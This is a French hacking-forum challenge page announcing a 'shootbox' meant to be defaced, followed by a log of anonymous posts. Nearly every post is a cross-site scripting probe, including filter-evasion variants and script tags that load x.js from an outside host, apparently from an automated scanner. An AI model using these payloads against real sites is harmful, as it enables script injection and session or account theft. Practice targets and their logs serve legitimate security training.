[HackBBS] Hack en situation réel

Bon, étant donné l'aisance avec laquelle vous avez bien détruit les shootbox précédente, nous avons là une toute nouvelle shootbox qui je l'espère vous feras suer un peu!

La faille utilisée est une technique assez évolué et n'est donc pas accesible aux newbiz.
(sorry...entrainez vous sur les challenges :P)
Seul 1 d'entre vous aura l'honneur de pouvoir exploiter cette faille étant donné que c'est une vrai déface...
Si vous voulez des indices, postez sur le forum.

Le nombre de post visible est remonté à 100 étant donné la complexité de l'affaire.

Il est inutile de préciser que ce message est une provoquation à votre intelect afin que vous classiez l'affaire rapidement ^^

Le Mercredi 29 Novembre 2007 - 13h19

Anonyme:>scriptalert(\"aa\");/script
Anonyme:>alert(\"f\");
Anonyme:>\\script\\alert(\\\'k\\\');\\/script\\
Anonyme:>scriptalert(\"k\");/script
Anonyme:>
Anonyme:>
Anonyme:>alert(\"kkk\");
Anonyme:>alert(\"kk\")
Anonyme:>o
Anonyme:>echo \'k\'
Anonyme:>
Anonyme:>
Anonyme:>
Anonyme:>
Anonyme:>objectparam name=x value=javascript:String.fromCharCode(0,efjgc2d1vg,1)/object
Anonyme:>objectparam name=x value=javascript:alert(\"efjgc2d1vg\")/object
Anonyme:>objectparam name=x value=javascript:alert(\'efjgc2d1vg\')/object
Anonyme:>scrscriptipt src=http://efjgc2d1vg/x.js/scr/scriptipt
Anonyme:>scrscriptipt src=http://efjgc2d1vg/x.js/script
Anonyme:>scrscriptiptString.fromCharCode(0,efjgc2d1vg,1)/scr/scriptipt
Anonyme:>scrscriptiptString.fromCharCode(0,efjgc2d1vg,1)/script
Anonyme:>scrscriptiptalert(\"efjgc2d1vg\")/scr/scriptipt
Anonyme:>scrscriptiptalert(\"efjgc2d1vg\")/script
Anonyme:>scrscriptiptalert(\'efjgc2d1vg\')/scr/scriptipt
Anonyme:>scrscriptiptalert(\'efjgc2d1vg\')/script
Anonyme:>ScRiPt/ src=http://efjgc2d1vg/x.js/sCrIpT/
Anonyme:>script/ src=http://efjgc2d1vg/x.js/script/
Anonyme:>ScRiPt/alert(\"efjgc2d1vg\")/sCrIpT/
Anonyme:>ScRiPt/alert(\'efjgc2d1vg\')/sCrIpT/
Anonyme:>script/alert(\"efjgc2d1vg\")/script/
Anonyme:>script/alert(\'efjgc2d1vg\')/script/
Anonyme:>ScRiPt String.fromCharCode(0,efjgc2d1vg,1)/ sCrIpT
Anonyme:>script String.fromCharCode(0,efjgc2d1vg,1)/script
Anonyme:>script alert(\"efjgc2d1vg\")/script
Anonyme:>script alert(\'efjgc2d1vg\')/script
Anonyme:>img src=
Anonyme:>img src=
Anonyme:>img src=validimg.png onload:String.fromCharCode(0,efjgc2d1vg,1) /
Anonyme:>img src=validimg.png onload=alert(\'efjgc2d1vg\') /
Anonyme:>img src=validimg.png onload=alert(\"efjgc2d1vg\") /
Anonyme:>img src=jav
Anonyme:>img src=jav
Anonyme:>img src=JaVaS\\tcRiPt:String.fromCharCode(0,efjgc2d1vg,1) /
Anonyme:>img src=JaVaScRiPt:String.fromCharCode(0,efjgc2d1vg,1) /
Anonyme:>img src=javascript:String.fromCharCode(0,efjgc2d1vg,1) /
Anonyme:>img src=javascript:alert(\"efjgc2d1vg\") /
Anonyme:>img src=javascript:alert(\'efjgc2d1vg\') /
Anonyme:>ScRiPt src=http://efjgc2d1vg/x.js/sCrIpT
Anonyme:>script src=http://efjgc2d1vg/x.js/script
Anonyme:>ScRiPtString.fromCharCode(0,efjgc2d1vg,1)/sCrIpT
Anonyme:>scriptString.fromCharCode(0,efjgc2d1vg,1)/script
Anonyme:>ScRiPtalert(\"efjgc2d1vg\")/sCrIpT
Anonyme:>ScRiPtalert(\'efjgc2d1vg\')/sCrIpT
Anonyme:>scriptalert(\"efjgc2d1vg\")/script
Anonyme:>scriptalert(\'efjgc2d1vg\')/script
Anonyme:>efjgc2d1vg
Anonyme:>objectparam name=x value=javascript:String.fromCharCode(0,efjgc2d1vg,1)/object
Anonyme:>objectparam name=x value=javascript:alert(\"efjgc2d1vg\")/object
Anonyme:>objectparam name=x value=javascript:alert(\'efjgc2d1vg\')/object
Anonyme:>scrscriptipt src=http://efjgc2d1vg/x.js/scr/scriptipt
Anonyme:>scrscriptipt src=http://efjgc2d1vg/x.js/script
Anonyme:>scrscriptiptString.fromCharCode(0,efjgc2d1vg,1)/scr/scriptipt
Anonyme:>scrscriptiptString.fromCharCode(0,efjgc2d1vg,1)/script
Anonyme:>scrscriptiptalert(\"efjgc2d1vg\")/scr/scriptipt
Anonyme:>scrscriptiptalert(\"efjgc2d1vg\")/script
Anonyme:>scrscriptiptalert(\'efjgc2d1vg\')/scr/scriptipt
Anonyme:>scrscriptiptalert(\'efjgc2d1vg\')/script
Anonyme:>ScRiPt/ src=http://efjgc2d1vg/x.js/sCrIpT/
Anonyme:>script/ src=http://efjgc2d1vg/x.js/script/
Anonyme:>ScRiPt/alert(\"efjgc2d1vg\")/sCrIpT/
Anonyme:>ScRiPt/alert(\'efjgc2d1vg\')/sCrIpT/
Anonyme:>script/alert(\"efjgc2d1vg\")/script/
Anonyme:>script/alert(\'efjgc2d1vg\')/script/
Anonyme:>ScRiPt String.fromCharCode(0,efjgc2d1vg,1)/ sCrIpT
Anonyme:>script String.fromCharCode(0,efjgc2d1vg,1)/script
Anonyme:>script alert(\"efjgc2d1vg\")/script
Anonyme:>script alert(\'efjgc2d1vg\')/script
Anonyme:>img src=
Anonyme:>img src=
Anonyme:>img src=validimg.png onload:String.fromCharCode(0,efjgc2d1vg,1) /
Anonyme:>img src=validimg.png onload=alert(\'efjgc2d1vg\') /
Anonyme:>img src=validimg.png onload=alert(\"efjgc2d1vg\") /
Anonyme:>img src=jav
Anonyme:>img src=jav
Anonyme:>img src=JaVaS\\tcRiPt:String.fromCharCode(0,efjgc2d1vg,1) /
Anonyme:>img src=JaVaScRiPt:String.fromCharCode(0,efjgc2d1vg,1) /
Anonyme:>img src=javascript:String.fromCharCode(0,efjgc2d1vg,1) /
Anonyme:>img src=javascript:alert(\"efjgc2d1vg\") /
Anonyme:>img src=javascript:alert(\'efjgc2d1vg\') /
Anonyme:>ScRiPt src=http://efjgc2d1vg/x.js/sCrIpT
Anonyme:>script src=http://efjgc2d1vg/x.js/script
Anonyme:>ScRiPtString.fromCharCode(0,efjgc2d1vg,1)/sCrIpT
Anonyme:>scriptString.fromCharCode(0,efjgc2d1vg,1)/script
Anonyme:>ScRiPtalert(\"efjgc2d1vg\")/sCrIpT
Anonyme:>ScRiPtalert(\'efjgc2d1vg\')/sCrIpT
Anonyme:>scriptalert(\"efjgc2d1vg\")/script
Anonyme:>scriptalert(\'efjgc2d1vg\')/script
Anonyme:>efjgc2d1vg
Anonyme:>on
Anonyme:>on